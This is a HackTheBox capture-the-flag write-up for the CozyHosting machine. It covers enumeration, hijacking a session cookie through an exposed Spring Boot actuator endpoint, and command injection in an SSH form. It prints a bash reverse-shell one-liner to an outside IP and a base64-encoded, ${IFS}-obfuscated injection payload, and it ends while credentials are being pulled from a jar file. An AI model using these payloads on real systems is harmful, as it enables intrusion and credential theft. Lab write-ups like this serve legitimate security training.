HackTheBox | CozyHosting

Saturday. March 02, 2024 - 4 mins

Overview

CozyHosting is an easy Linux machine that features a Spring Boot application. The application has the Actuator endpoint enabled. Enumerating the endpoint leads to the discovery of a user session cookie, leading to authenticated access to the main dashboard. The application is vulnerable to command injection, which is leveraged to gain a reverse shell on the remote machine. The user is allowed to run ssh as root, which is leveraged to fully escalate privileges.

Nmap

nmap -A -T4 10.129.117.106
Starting Nmap 7.91 ( https://nmap.org ) at 2023-09-03 11:34 +01
Not shown: 988 closed ports
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp    open     http          nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
1175/tcp  filtered dossier
1521/tcp  filtered oracle
1718/tcp  filtered h323gatedisc
1875/tcp  filtered westell-stats
2602/tcp  filtered ripd
5087/tcp  filtered biotic
5910/tcp  filtered cm
8443/tcp  filtered https-alt
20005/tcp filtered btx
33354/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Gobuster

gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cozyhosting.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/09/03 11:38:55 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 401) [Size: 97]
/error                (Status: 500) [Size: 73]
/index                (Status: 200) [Size: 12706]
/login                (Status: 200) [Size: 4431] 
/logout               (Status: 204) [Size: 0]
2023/09/03 11:41:18 Finished

I went to the /login endpoint, but I don’t have any credentials right now so I cannot login :

![[Pasted image 20230903114221.png]]

![[Pasted image 20230903120639.png]]

The /error endpoint gave me a hint about Spring Boot :

Alt text

Spring Boot includes a number of additional features called actuators to help monitor and control an application when it is pushed to production. Actuators allow controlling and monitoring an application using either HTTP or JMX endpoints. Auditing, health and metrics gathering can also open a hidden door to the server if an application has been misconfigured.

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/spring-actuators

![[Pasted image 20230903131356.png]]

The /actuator/mappings contains gave me another endpoint (/actuator/sessions) which contains kanderson’s cookie :

![[Pasted image 20230906124123.png]]

![[Pasted image 20230906124042.png]]

I used that cookie to login to Cozy Cloud :

![[Pasted image 20230906124017.png]]

That dashboard contains an ssh form where I used Burp to intercept the request :

![[Pasted image 20230928161019.png]]

![[Pasted image 20230907121847.png]]

I noticed when I use an empty username it gives ssh usage error, so I thought about command injection :

![[Pasted image 20230907122139.png]]

Normal payload doesn’t work so I tried to base64 encoding it, then use the base64 -d to decode it :

bash -i >& /dev/tcp/10.10.16.51/9999 0>&1

;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41MS85OTk5IDA+JjEK"${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash;

Then URL encoding (CTRL + U) > send the request :

![[Pasted image 20230928141032.png]]

Voilà we gain a shell as app user, Then I found a jar file which I downloaded to my local machine :

![[Pasted image 20230928141413.png]]

I used JADX to read the jar file. In application.properties I found the password for postgres, and in scheduled/FakeUser.class I found the creds for user kanderson :

Alt text